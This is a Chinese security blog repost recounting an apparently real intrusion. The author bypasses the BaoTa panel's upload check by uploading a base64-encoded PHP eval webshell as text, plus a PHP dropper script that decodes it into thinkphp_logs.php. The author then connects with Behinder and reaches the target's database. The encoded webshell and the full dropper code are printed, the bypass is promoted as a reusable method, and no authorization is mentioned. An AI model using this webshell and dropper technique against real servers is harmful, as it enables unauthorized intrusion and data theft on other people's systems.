实战纪实 | 记一次绕过宝塔的的文件上传

admin 2024年2月9日00:44:21评论20 views字数 1400阅读4分40秒阅读模式

扫码领资料

获网安教程

实战纪实 | 记一次绕过宝塔的的文件上传

实战纪实 | 记一次绕过宝塔的的文件上传
本文由掌控安全学院 - caih 投稿

前几天找到个可以上传任意文件的上传点,成功上传phpinfo页面并能访问,但是不能成功上传一句话,发现这台主机装了宝塔,经过反复尝试终于成功上传一句话并连接。
0x01 漏洞发现
结果前期摸索,发现了一个上传点,能上传任意文件,且会返回路径
实战纪实 | 记一次绕过宝塔的的文件上传
尝试上传phpinfo页面,上传成功并返回地址(phpinfo页面忘记截图了),到这里想着getshell离我不远了,只有一句话的距离。
0x02 遇见障碍
一切当然没有想象中的顺利,上传一句话并没有返回路径,尝试不同的一句话,发现不管是使用冰蝎还是蚁剑的免杀马都不能成功返回路径,工具扫一波发现使用的是宝塔。
在宝塔官网发现,应该是禁用了危险函数,对我们上传的php文件会进行检查,看是否存在危险函数。
0x03 新思路
实战纪实 | 记一次绕过宝塔的的文件上传
那么就得换一种思路,既然上传上去的一句话连不上,就尝试在本地生成一个一句话。由于我们能上传任意文件,于是先上传一个base64加密的一句话文本即txt文件,返回文件路径IDw/cGhwIEBldmFsKCRfUE9TVFsnYSddKTsgPz4=

实战纪实 | 记一次绕过宝塔的的文件上传
接下来我们上传一个将上述txt文件进行base64解码并生成一个名叫thinkphp_logs.php的一句话的php文件。内容为:

<?php$path = “./“;$path = $path.”1.txt”;echo $path;//$fp = fopen(“$path”,”r”);//$str = fread($fp,filesize($path));$str = file_get_contents(“$path”,”r”);$str = base64_decode($str);echo $str;$handle = fopen(“./thinkphp_logs.php”,”w”);fwrite($handle,$str);fclose($handle);?>

实战纪实 | 记一次绕过宝塔的的文件上传
如上,由于此文件并没有危险函数,所以并未被删除,成功返回路径,需要执行这个php文件就得在web上访问一下他,利用返回的路径,在浏览器访问这个文件,该文件成功执行

实战纪实 | 记一次绕过宝塔的的文件上传
一句话在本地生成,宝塔并未删除,用冰蝎连接,连接成功

实战纪实 | 记一次绕过宝塔的的文件上传
但是由于使用了宝塔,限制得很死并不能执行任何命令,只能连数据库,并未成功getshell

实战纪实 | 记一次绕过宝塔的的文件上传
0x04 总结
这次并没有成功的getshell,只是获取了数据库。这里只是讲述了文件上传的新思路,如果不能成功上传一句话就不需要再去尝试直接上传一句话,可以考虑先上传不会被查杀的php文件,然后通过这个文件生成一句话,按照这种思路,生成一句话的方法就有很多种,就不限于这种加密之后再解密。

.

实战纪实 | 记一次绕过宝塔的的文件上传

~

师领取

上千教程+工具+靶场账号

实战纪实 | 记一次绕过宝塔的的文件上传

分享后扫码加我

回顾往期内容

Xray挂机刷漏洞

零基础学黑客,该怎么学?

网络安全人员必考的几本证书!

文库|内网神器cs4.0使用说明书

代码审计 | 这个CNVD证书拿的有点轻松

【精选】SRC快速入门+上分小秘籍+实战指南

    代理池工具撰写 | 只有无尽的跳转,没有封禁的IP!

实战纪实 | 记一次绕过宝塔的的文件上传

点赞+在看支持一下吧~感谢看官老爷~ 

你的点赞是我更新的动力

原文始发于微信公众号(掌控安全EDU):实战纪实 | 记一次绕过宝塔的的文件上传

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年2月9日00:44:21
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   实战纪实 | 记一次绕过宝塔的的文件上传http://cn-sec.com/archives/2471281.html

发表评论

匿名网友 填写信息